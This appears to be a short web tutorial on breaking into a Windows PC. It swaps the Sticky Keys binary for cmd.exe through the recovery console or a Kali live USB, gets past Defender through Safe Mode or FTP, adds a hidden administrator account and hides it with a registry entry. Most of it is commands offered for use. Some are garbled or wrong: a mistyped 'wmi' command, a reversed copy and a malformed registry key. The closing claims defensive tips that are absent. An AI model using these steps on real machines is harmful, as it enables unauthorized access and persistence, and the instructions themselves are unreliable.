This guide explains how to use vulnerabilities in Windows to gain access to a system. The attack uses Sticky Keys or interacts directly with system files. Let’s dive in!
First, boot your PC with a changed boot order. Go to the "Recovery" screen, click "Troubleshoot" > "Advanced Options" > "Command Prompt" (this is where we get started).
wmi get name
D:
cd \windows\system32
copy sethc.exe cmd.exe
Note: If Defender blocks you, try using FTP as described below.
shutdown /r /f /t 0
If Defender is blocking your attack, here are a few ways to bypass it:
You can use the !cmd
command to access CMD from ftp.exe.
Safe Mode is a minimal boot where third-party software like Defender doesn’t run. To boot into Safe Mode:
bcdedit /set {default} safeboot minimal
shutdown /f /r /t 0
To exit Safe Mode:
bcdedit /deletevalue {default} safeboot
net user
net user new_username Pa$$w0rd /add
net user username Pa$$w0rd
net localgroup administrators username /add
To hide a user from the login screen, go to the Registry Editor and add this key:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"SpecialAccounts"="hidden_user"
Insert your Kali USB or CD and change the boot order to load Kali Linux. Open the terminal and mount the Windows disk:
fdisk -l
mount /dev/sda2 /mnt
cd /mnt/Windows/System32
cp sethc.exe cmd.exe
sync
umount /mnt---
In this guide, we covered how to exploit vulnerabilities in Windows to change system files and access the system using Sticky Keys and the Command Prompt. We also walked through adding users, escalating privileges, and hiding users. Lastly, we provided some tips on protecting your system from these kinds of attacks.
If you want to dive deeper into more advanced topics or learn how to defend against these attacks, make sure to check out more of our guides.